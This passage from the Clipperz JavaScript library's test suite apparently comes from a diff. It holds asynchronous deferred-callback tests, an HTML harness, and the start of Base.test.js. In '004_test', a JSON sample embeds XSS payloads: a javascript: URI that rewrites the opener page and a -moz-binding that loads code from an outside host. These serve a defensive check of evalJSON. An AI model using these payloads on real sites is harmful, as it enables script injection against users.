sum = MochiKit.Iter.reduce(MochiKit.Base.operator.add, MochiKit.Base.values(anAsyncResult));
|
||||
SimpleTest.is(sum, 12, "the sum of all the returned results should be 12");
|
||||
SimpleTest.is(anAsyncResult['first'], 3, "the result of the 'first' item is 3");
|
||||
SimpleTest.is(anAsyncResult['second'], 2, "the result of the 'second' item is 2");
|
||||
SimpleTest.is(anAsyncResult['third'], 7, "the result of the 'third' item is 7");
|
||||
SimpleTest.is(MochiKit.Base.keys(anAsyncResult).length, 3, "the result has exactly 3 values");
|
||||
});
|
||||
deferredResult.addErrback(function() {
|
||||
SimpleTest.ok(false, "collectResults should succeed and execution path should NOT go through here");
|
||||
});
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'failingCollectResultsDeferrer_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred('Async.test failingCollectResultsDeferrer', someTestArgs);
|
||||
deferredResult.addCallback(Clipperz.Async.collectResults('Async.test failingCollectResultsDeferrer', {
|
||||
'succeed': MochiKit.Base.partial(MochiKit.Async.succeed, 3),
|
||||
'fail': MochiKit.Base.partial(MochiKit.Async.fail, 2)
|
||||
}, someTestArgs));
|
||||
deferredResult.addCallback(function() {
|
||||
SimpleTest.ok(false, "collectResults should fail and execution path should NOT go through here");
|
||||
});
|
||||
deferredResult.addErrback(function (anAsyncResult) {
|
||||
var result;
|
||||
|
||||
result = anAsyncResult['message'];
|
||||
SimpleTest.is(MochiKit.Base.keys(result).length, 2, "the result has exactly 2 values");
|
||||
//console.log("anAsyncResult", anAsyncResult);
|
||||
SimpleTest.ok(!(result['succeed'] instanceof Error), "the successful value is actually successful");
|
||||
SimpleTest.ok(result['fail'] instanceof Error, "the failed value is actually failed");
|
||||
});
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'collectResults_withSimpleArrayListOfCalls_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred('collectResults_withSimpleArrayListOfCalls_test', someTestArgs);
|
||||
deferredResult.addCallback(Clipperz.Async.collectResults('collectResults_withSimpleArrayListOfCalls_test - collectResults', {
|
||||
'path1': [
|
||||
MochiKit.Base.partial(MochiKit.Async.succeed, 3)
|
||||
],
|
||||
'path2': MochiKit.Base.partial(MochiKit.Async.succeed, 2)
|
||||
}, someTestArgs));
|
||||
deferredResult.addCallback(function (anAsyncResult) {
|
||||
SimpleTest.is(anAsyncResult['path1'], 3, "the result of the first path is 3");
|
||||
SimpleTest.is(anAsyncResult['path2'], 2, "the result of the second path is 2");
|
||||
});
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'collectResults_withArrayListOfCalls_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred('collectResults_withArrayListOfCalls_test', someTestArgs);
|
||||
deferredResult.addCallback(Clipperz.Async.collectResults('collectResults_withArrayListOfCalls_test - collectResults', {
|
||||
'path1': [
|
||||
MochiKit.Base.partial(MochiKit.Async.succeed, {key1:'value1', key2:'value2'}),
|
||||
Clipperz.Base.serializeJSON
|
||||
],
|
||||
'path2': [
|
||||
MochiKit.Base.partial(MochiKit.Async.succeed, {key3:'value3', key4:'value4'}),
|
||||
Clipperz.Base.serializeJSON
|
||||
]
|
||||
}, someTestArgs));
|
||||
deferredResult.addCallback(function (anAsyncResult) {
|
||||
SimpleTest.is(anAsyncResult['path1'], "{\"key1\":\"value1\",\"key2\":\"value2\"}", "the result of the first path is correct");
|
||||
SimpleTest.is(anAsyncResult['path2'], "{\"key3\":\"value3\",\"key4\":\"value4\"}", "the result of the second path is correct");
|
||||
});
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'deferredSort_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var testArray;
|
||||
|
||||
testArray = [
|
||||
{key:'key2', label:function () { return MochiKit.Async.succeed('label2')} },
|
||||
{key:'key3', label:function () { return MochiKit.Async.succeed('label3')} },
|
||||
{key:'key7', label:function () { return MochiKit.Async.succeed('label7')} },
|
||||
{key:'key1', label:function () { return MochiKit.Async.succeed('label1')} },
|
||||
{key:'key5', label:function () { return MochiKit.Async.succeed('label5')} },
|
||||
{key:'key4', label:function () { return MochiKit.Async.succeed('label4')} },
|
||||
{key:'key9', label:function () { return MochiKit.Async.succeed('label9')} },
|
||||
{key:'key8', label:function () { return MochiKit.Async.succeed('label8')} },
|
||||
{key:'key6', label:function () { return MochiKit.Async.succeed('label6')} }
|
||||
]
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred('deferredSort_test', someTestArgs);
|
||||
deferredResult.addCallback(Clipperz.Async.deferredSort, function (aObject, bObject) {
|
||||
var result;
|
||||
|
||||
result = Clipperz.Async.deferredCompare(MochiKit.Base.compare, aObject.label(), bObject.label());
|
||||
|
||||
return result;
|
||||
});
|
||||
deferredResult.addCallback(function (aSortedArray) {
|
||||
SimpleTest.is(aSortedArray.length, testArray.length, "The sorted array should have the same number of objects as the original one");
|
||||
SimpleTest.is(aSortedArray[0]['key'], 'key1', "[0] -> key1");
|
||||
SimpleTest.is(aSortedArray[1]['key'], 'key2', "[1] -> key2");
|
||||
SimpleTest.is(aSortedArray[2]['key'], 'key3', "[2] -> key3");
|
||||
SimpleTest.is(aSortedArray[3]['key'], 'key4', "[3] -> key4");
|
||||
SimpleTest.is(aSortedArray[4]['key'], 'key5', "[4] -> key5");
|
||||
SimpleTest.is(aSortedArray[5]['key'], 'key6', "[5] -> key6");
|
||||
SimpleTest.is(aSortedArray[6]['key'], 'key7', "[6] -> key7");
|
||||
SimpleTest.is(aSortedArray[7]['key'], 'key8', "[7] -> key8");
|
||||
SimpleTest.is(aSortedArray[8]['key'], 'key9', "[8] -> key9");
|
||||
});
|
||||
deferredResult.callback(testArray);
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'callbacks_test': function (someTestArgs) {
|
||||
return Clipperz.Async.callbacks("callbacks_test", [
|
||||
MochiKit.Base.partial(MochiKit.Base.operator.add, 5),
|
||||
Clipperz.Async.Test.is(15, "Clipperz.Async.callbacks seems to work")
|
||||
], someTestArgs, 10);
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'deferredAcquireLockTest': function (someTestArgs) {
|
||||
var deferredLock;
|
||||
var deferredResult;
|
||||
var anotherDeferred;
|
||||
var deferredResults;
|
||||
|
||||
deferredLock = new MochiKit.Async.DeferredLock();
|
||||
deferredResult = new Clipperz.Async.Deferred("acquireLockTest", {trace:false});
|
||||
deferredResult.acquireLock(deferredLock);
|
||||
deferredResult.addCallback(function () {
|
||||
SimpleTest.is(true, deferredLock.locked, 'DeferredLock is locked after Clipperz.Async.Deferred.acquireLock');
|
||||
});
|
||||
|
||||
anotherDeferred = new Clipperz.Async.Deferred("acquireLockLockedTest", {trace:false});
|
||||
anotherDeferred.acquireLock(deferredLock);
|
||||
anotherDeferred.addCallback(function () {
|
||||
SimpleTest.ok(false, 'Did not wait on a locked DeferredLock')
|
||||
});
|
||||
anotherDeferred.addErrback(function (anError) {
|
||||
SimpleTest.ok(true, 'Did wait on a locked DeferredLock');
|
||||
});
|
||||
|
||||
deferredResults = new MochiKit.Async.DeferredList([deferredResult, anotherDeferred], false, false, false);
|
||||
MochiKit.Async.callLater(1, function () {
|
||||
anotherDeferred.cancel();
|
||||
});
|
||||
|
||||
deferredResult.callback();
|
||||
anotherDeferred.callback();
|
||||
return deferredResults;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'deferredLockAcquireTest': function (someTestArgs) {
|
||||
var deferredLock;
|
||||
var defferedResult;
|
||||
var anotherDeferred;
|
||||
var deferredResults;
|
||||
|
||||
deferredLock = new MochiKit.Async.DeferredLock();
|
||||
deferredResult = new Clipperz.Async.Deferred("acquireLockTest", {trace:false});
|
||||
deferredResult.addMethod(deferredLock, 'acquire');
|
||||
deferredResult.addCallback(function () {
|
||||
SimpleTest.is(true, deferredLock.locked, 'DeferredLock is locked after Clipperz.Async.Deferred.acquireLock');
|
||||
});
|
||||
|
||||
anotherDeferred = new Clipperz.Async.Deferred("acquireLockLockedTest", {trace:false});
|
||||
anotherDeferred.addMethod(deferredLock, 'acquire');
|
||||
anotherDeferred.addCallback(function () {
|
||||
SimpleTest.ok(false, 'Did not wait on a locked DeferredLock')
|
||||
});
|
||||
anotherDeferred.addErrback(function (anError) {
|
||||
SimpleTest.ok(true, 'Did wait on a locked DeferredLock');
|
||||
});
|
||||
|
||||
|
||||
deferredResults = new MochiKit.Async.DeferredList([deferredResult, anotherDeferred], false, false, false);
|
||||
MochiKit.Async.callLater(1, function () {
|
||||
anotherDeferred.cancel();
|
||||
});
|
||||
|
||||
deferredResult.callback();
|
||||
anotherDeferred.callback()
|
||||
|
||||
return deferredResults;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'deferredFilter_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var testObjects;
|
||||
var filterRegExp;
|
||||
var deferredFilterFunction;
|
||||
|
||||
testObjects = [
|
||||
{key: '1', label: MochiKit.Base.partial(MochiKit.Async.succeed, 'skip 1') },
|
||||
{key: '2', label: MochiKit.Base.partial(MochiKit.Async.succeed, 'hit 2') },
|
||||
{key: '3', label: MochiKit.Base.partial(MochiKit.Async.succeed, 'skip 3') },
|
||||
{key: '4', label: MochiKit.Base.partial(MochiKit.Async.succeed, 'hit 4') },
|
||||
{key: '5', label: MochiKit.Base.partial(MochiKit.Async.succeed, 'skip 5') },
|
||||
{key: '6', label: MochiKit.Base.partial(MochiKit.Async.succeed, 'skip 6') },
|
||||
{key: '7', label: MochiKit.Base.partial(MochiKit.Async.succeed, 'hit 7') },
|
||||
{key: '8', label: MochiKit.Base.partial(MochiKit.Async.succeed, 'skip 8') },
|
||||
{key: '9', label: MochiKit.Base.partial(MochiKit.Async.succeed, 'skip 9') },
|
||||
{key:'10', label: MochiKit.Base.partial(MochiKit.Async.succeed, 'hit 10') }
|
||||
]
|
||||
|
||||
filterRegExp = new RegExp("hit", "i");
|
||||
|
||||
deferredFilterFunction = function (aRegExp, anObject) {
|
||||
return Clipperz.Async.callbacks("deferredFilterFunction", [
|
||||
MochiKit.Base.method(anObject, 'label'),
|
||||
MochiKit.Base.method(aRegExp, 'test'),
|
||||
function (doesItMatch) {
|
||||
var result;
|
||||
|
||||
if (doesItMatch) {
|
||||
result = MochiKit.Async.succeed('match');
|
||||
} else {
|
||||
result = MochiKit.Async.fail('miss');
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
], someTestArgs);
|
||||
};
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("deferredFilter_test", someTestArgs);
|
||||
deferredResult.addCallback(Clipperz.Async.deferredFilter, MochiKit.Base.partial(deferredFilterFunction, filterRegExp), testObjects);
|
||||
deferredResult.addCallback(function (aResult) {
|
||||
SimpleTest.is(aResult.length, 4, "There are 4 items matching the 'hit' regexp");
|
||||
SimpleTest.is(aResult[0]['key'], '2', "The first item to match is the one with key:2");
|
||||
SimpleTest.is(aResult[1]['key'], '4', "The first item to match is the one with key:4");
|
||||
SimpleTest.is(aResult[2]['key'], '7', "The first item to match is the one with key:7");
|
||||
SimpleTest.is(aResult[3]['key'], '10', "The first item to match is the one with key:10");
|
||||
})
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'deferredFilter_methodcaller_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var testObjects;
|
||||
var filterRegExp;
|
||||
var deferredFilterFunction;
|
||||
|
||||
testObjects = [
|
||||
new testObject('skip 1'),
|
||||
new testObject('hit 2'),
|
||||
new testObject('skip 3'),
|
||||
new testObject('hit 4'),
|
||||
new testObject('skip 5'),
|
||||
new testObject('skip 6'),
|
||||
new testObject('hit 7'),
|
||||
new testObject('skip 8'),
|
||||
new testObject('skip 9'),
|
||||
new testObject('hit 10')
|
||||
];
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("deferredFilter_methodcaller_test", someTestArgs);
|
||||
// deferredResult.addCallback(function () { return testObjects[0]; });
|
||||
deferredResult.addCallback(MochiKit.Async.succeed, testObjects[0]);
|
||||
deferredResult.addCallback(MochiKit.Base.methodcaller('shouldHit'));
|
||||
deferredResult.addTest(false, "the first element shoud return 'false' to the 'shouldHit' method");
|
||||
|
||||
deferredResult.addCallback(MochiKit.Async.succeed, testObjects[1]);
|
||||
deferredResult.addCallback(MochiKit.Base.methodcaller('shouldHit'));
|
||||
deferredResult.addTest(true, "the second element shoud return 'true' to the 'shouldHit' method");
|
||||
|
||||
deferredResult.addCallback(MochiKit.Async.succeed, testObjects);
|
||||
deferredResult.addCallback(Clipperz.Async.deferredFilter, MochiKit.Base.methodcaller('shouldHit'));
|
||||
deferredResult.addCallback(function (aResult) {
|
||||
SimpleTest.is(aResult.length, 4, "There are 4 items matching the 'hit' regexp");
|
||||
SimpleTest.is(aResult[0]._label, 'hit 2', "The first item to match is the one with key:2");
|
||||
SimpleTest.is(aResult[1]._label, 'hit 4', "The first item to match is the one with key:4");
|
||||
SimpleTest.is(aResult[2]._label, 'hit 7', "The first item to match is the one with key:7");
|
||||
SimpleTest.is(aResult[3]._label, 'hit 10', "The first item to match is the one with key:10");
|
||||
})
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'setItem_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var result;
|
||||
|
||||
result = {};
|
||||
deferredResult = new Clipperz.Async.Deferred("setItem_test", someTestArgs);
|
||||
deferredResult.addCallback(MochiKit.Async.succeed, "Value 1");
|
||||
deferredResult.addCallback(Clipperz.Async.setItem, result, 'key1');
|
||||
deferredResult.addCallback(MochiKit.Async.succeed, "Value 2");
|
||||
deferredResult.addCallback(Clipperz.Async.setItem, result, 'key2');
|
||||
|
||||
deferredResult.addCallback(MochiKit.Base.itemgetter('key1'));
|
||||
deferredResult.addTest("Value 1", "the value for the 'key1' does match");
|
||||
|
||||
deferredResult.addCallback(MochiKit.Async.succeed, result);
|
||||
deferredResult.addCallback(MochiKit.Base.itemgetter('key2'));
|
||||
deferredResult.addTest("Value 2", "the value for the 'key2' does match");
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'setItemOnObject_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var result;
|
||||
|
||||
result = {};
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("setItemOnObject_test", someTestArgs);
|
||||
deferredResult.addCallback(MochiKit.Async.succeed, result);
|
||||
deferredResult.addCallback(Clipperz.Async.setItemOnObject, 'key1', "Value 1");
|
||||
deferredResult.addCallback(Clipperz.Async.setItemOnObject, 'key2', "Value 2");
|
||||
|
||||
deferredResult.addCallback(MochiKit.Base.itemgetter('key1'));
|
||||
deferredResult.addTest("Value 1", "the value for the 'key1' does match");
|
||||
|
||||
deferredResult.addCallback(MochiKit.Async.succeed, result);
|
||||
deferredResult.addCallback(MochiKit.Base.itemgetter('key2'));
|
||||
deferredResult.addTest("Value 2", "the value for the 'key2' does match");
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'setDeferredItemOnObject_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var result;
|
||||
|
||||
result = {};
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("setDeferredItemOnObject_test", someTestArgs);
|
||||
deferredResult.addCallback(MochiKit.Async.succeed, result);
|
||||
deferredResult.addCallback(Clipperz.Async.setDeferredItemOnObject, 'key1', MochiKit.Base.partial(MochiKit.Async.succeed, "Value 1"));
|
||||
deferredResult.addCallback(Clipperz.Async.setDeferredItemOnObject, 'key2', MochiKit.Base.partial(MochiKit.Async.succeed, "Value 2"));
|
||||
|
||||
deferredResult.addCallback(MochiKit.Base.itemgetter('key1'));
|
||||
deferredResult.addTest("Value 1", "the value for the 'key1' does match");
|
||||
|
||||
deferredResult.addCallback(MochiKit.Async.succeed, result);
|
||||
deferredResult.addCallback(MochiKit.Base.itemgetter('key2'));
|
||||
deferredResult.addTest("Value 2", "the value for the 'key2' does match");
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'addIf_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("addIf_test", someTestArgs);
|
||||
|
||||
deferredResult.addCallback(MochiKit.Async.succeed, true);
|
||||
deferredResult.addIf([
|
||||
MochiKit.Base.partial(SimpleTest.ok, true, "when a true value is passed, the 'then' branch is executed")
|
||||
], [
|
||||
MochiKit.Base.partial(SimpleTest.ok, false, "when a true value is passed, the 'else' branch should NOT be executed")
|
||||
]);
|
||||
|
||||
deferredResult.addCallback(MochiKit.Async.succeed, false);
|
||||
deferredResult.addIf([
|
||||
MochiKit.Base.partial(SimpleTest.ok, false, "when a false value is passed, the 'then' branch should NOT be executed")
|
||||
], [
|
||||
MochiKit.Base.partial(SimpleTest.ok, true, "when a false value is passed, the 'else' branch is executed")
|
||||
]);
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'addMethod_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
var testObjectInstance;
|
||||
var testObjectInstance_2;
|
||||
var label;
|
||||
var testObjectInstanceGetter;
|
||||
|
||||
label = "Test - Label";
|
||||
testObjectInstance = new testObject(label);
|
||||
testObjectInstance_2 = new testObject(label + label);
|
||||
testObjectInstance.setSibling(testObjectInstance_2);
|
||||
|
||||
testObjectInstanceGetter = function () {
|
||||
return testObjectInstance;
|
||||
}
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("addMethod_test", someTestArgs);
|
||||
deferredResult.addMethod(testObjectInstance, 'label');
|
||||
deferredResult.addTest(label, "the addMethod seems to work");
|
||||
|
||||
deferredResult.addMethod(testObjectInstanceGetter(), 'label');
|
||||
deferredResult.addTest(label, "the addMethod seems to work");
|
||||
|
||||
deferredResult.addMethod(testObjectInstance.sibling(), 'label');
|
||||
deferredResult.addTest(label+label, "the addMethod seems to work");
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'callbacksWithErrors_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("callbacksWithErrors_test", someTestArgs);
|
||||
deferredResult.addCallback(MochiKit.Base.partial(Clipperz.Async.callbacks, "callbacksWithErrors_test - callbacks", [
|
||||
function () { return 10; },
|
||||
function (aValue) { pippo = pluto + aValue; },
|
||||
function (aValue) { SimpleTest.ok(false, "this code should never be executed"); return aValue; }
|
||||
], {trace:someTestArgs}));
|
||||
deferredResult.addCallback(SimpleTest.ok, false, "the inner code should raise an exception and exit through the error chain");
|
||||
deferredResult.addErrback(SimpleTest.ok, true, "the inner code should raise an exception and exit through the error chain");
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'deferredVars_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred("deferredVars_test", someTestArgs);
|
||||
deferredResult.addCallback(MochiKit.Async.succeed, "test string");
|
||||
deferredResult.setValue('testKey');
|
||||
deferredResult.addCallback(MochiKit.Async.succeed, "another string");
|
||||
deferredResult.getValue('testKey');
|
||||
deferredResult.addTest("test string", "The right string has been fetched");
|
||||
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
'syntaxFix': MochiKit.Base.noop
|
||||
};
|
||||
|
||||
|
||||
|
||||
//#############################################################################
|
||||
|
||||
SimpleTest.runDeferredTests("Clipperz.Async", tests, {trace:false});
|
||||
55
frontend/gamma/tests/tests/Clipperz/Base.html
Normal file
@@ -0,0 +1,55 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.Base - TEST</title>
|
||||
|
||||
<script type="text/javascript" src="../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../js/JSON/json2.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/ByteArray.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Logging.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Async.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/KeyValueObjectStore.js'></script>
|
||||
|
||||
|
||||
<script type="text/javascript" src="../../SimpleTest/SimpleTest.Async.js"></script>
|
||||
|
||||
</head>
|
||||
<body>
|
||||
<pre id="test">
|
||||
<script type="text/javascript" src="Base.test.js"></script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
367
frontend/gamma/tests/tests/Clipperz/Base.test.js
Normal file
@@ -0,0 +1,367 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
|
||||
//=============================================================================
|
||||
|
||||
testEvalJSON = function(aString, shouldFail, aDescription) {
|
||||
var result;
|
||||
|
||||
if (shouldFail == true) {
|
||||
try {
|
||||
result = Clipperz.Base.evalJSON(aString);
|
||||
is(true, false, aDescription + ": vulnerability not caught");
|
||||
//console.log(result);
|
||||
} catch(exception) {
|
||||
is(true, true, aDescription + ": vulnerability correctly caught");
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
result = Clipperz.Base.evalJSON(aString);
|
||||
is(true, true, aDescription + ": configuration correctly checked");
|
||||
} catch(exception) {
|
||||
is(true, false, aDescription + ": configuration wrongly caught as malicious");
|
||||
// console.log(exception);
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
//=============================================================================
|
||||
|
||||
var tests = {
|
||||
|
||||
'001_test': function () {
|
||||
var stringToSplit;
|
||||
var splittedString;
|
||||
|
||||
stringToSplit = "stringToSplit";
|
||||
splittedString = Clipperz.Base.splitStringAtFixedTokenSize(stringToSplit, 2);
|
||||
is(splittedString.length, 7);
|
||||
is(splittedString[0], 'st');
|
||||
is(splittedString[1], 'ri');
|
||||
is(splittedString[2], 'ng');
|
||||
is(splittedString[3], 'To');
|
||||
is(splittedString[4], 'Sp');
|
||||
is(splittedString[5], 'li');
|
||||
is(splittedString[6], 't', "test that should pass");
|
||||
|
||||
stringToSplit = "stringToSplit";
|
||||
splittedString = Clipperz.Base.splitStringAtFixedTokenSize(stringToSplit, 20);
|
||||
is(splittedString.length, 1);
|
||||
is(splittedString[0], 'stringToSplit');
|
||||
|
||||
stringToSplit = null;
|
||||
splittedString = Clipperz.Base.splitStringAtFixedTokenSize(stringToSplit, 20);
|
||||
is(splittedString.length, 0);
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'002_test': function () {
|
||||
var anObject;
|
||||
|
||||
anObject = "String";
|
||||
is(Clipperz.Base.objectType(anObject), 'string', "test on strings (1)");
|
||||
anObject = new String("String");
|
||||
is(Clipperz.Base.objectType(anObject), 'string', "test on strings (2)");
|
||||
|
||||
anObject = 120;
|
||||
is(Clipperz.Base.objectType(anObject), 'number', "test on numbers (1)");
|
||||
anObject = new Number(120);
|
||||
is(Clipperz.Base.objectType(anObject), 'number', "test on numbers (2)");
|
||||
|
||||
anObject = true;
|
||||
is(Clipperz.Base.objectType(anObject), 'boolean', "test on booleans (1)");
|
||||
anObject = new Boolean(true);
|
||||
is(Clipperz.Base.objectType(anObject), 'boolean', "test on booleans (2)");
|
||||
|
||||
anObject = new Date;
|
||||
is(Clipperz.Base.objectType(anObject), 'date', "test on dates");
|
||||
|
||||
anObject = new Error("test");
|
||||
is(Clipperz.Base.objectType(anObject), 'error', "test on errors");
|
||||
|
||||
anObject = function() {};
|
||||
is(Clipperz.Base.objectType(anObject), 'function', "test on functions");
|
||||
|
||||
anObject = new Object();
|
||||
is(Clipperz.Base.objectType(anObject), 'object', "test on objects");
|
||||
|
||||
|
||||
anObject = [1, 2, 3];
|
||||
is(Clipperz.Base.objectType(anObject), 'array', "test on arrays");
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'003_test': function () {
|
||||
var original, clone;
|
||||
|
||||
original = {
|
||||
a: "a",
|
||||
b: "b"
|
||||
};
|
||||
|
||||
clone = Clipperz.Base.deepClone(original);
|
||||
is(MochiKit.Base.compare(original, clone), 0, "simple cloning return two equal objects");
|
||||
|
||||
clone.c = "c";
|
||||
is(MochiKit.Base.compare(original, clone), -1, "changing an object leave the original object unchanged");
|
||||
|
||||
original = {
|
||||
a: "a",
|
||||
b: "b",
|
||||
nested: {
|
||||
a1: "a1",
|
||||
b1: "b1"
|
||||
}
|
||||
};
|
||||
|
||||
clone = Clipperz.Base.deepClone(original);
|
||||
is(MochiKit.Base.compare(original, clone), 0, "cloning of an object with nested values return two equal objects");
|
||||
|
||||
clone.nested.c1 = "c1";
|
||||
is(MochiKit.Base.compare(original, clone), -1, "changing a nested value leave the original object unchanged");
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'004_test': function () {
|
||||
var jsonString;
|
||||
|
||||
jsonString = '{"page": {"title": "Example Attack"},"form": { "attributes": { "action": "javascript:opener.document.body.innerHTML = \'hacked!\';close();", "style": "-moz-binding:url(\'http://ha.ckers.org/xssmoz.xml#xss\')", "method": null }, "inputs": [{"type": "text", "name": "username", "value": ""}, {"type": "password", "name": "password", "value": ""}]},"version": "0.2.3" }';
|
||||
testEvalJSON(jsonString, false, "");
|
||||
|
||||
// jsonString = '{"0":{"label":"<script>alert(\"Ciao Marco\")< /script>","key":"ebc9782019bf9aa757e9c4d716ab303e2050b60c4b9a06b18ab09a417e0ddf00"}, "1":{"label":"<iframe><script>alert(\\"Ciao ragazzi\\")< /script></iframe>", "key":"413cfb122a1601c50e0f9462978ba77a36fdcecb49dda7550ee129dc114ba328"}}';
|
||||
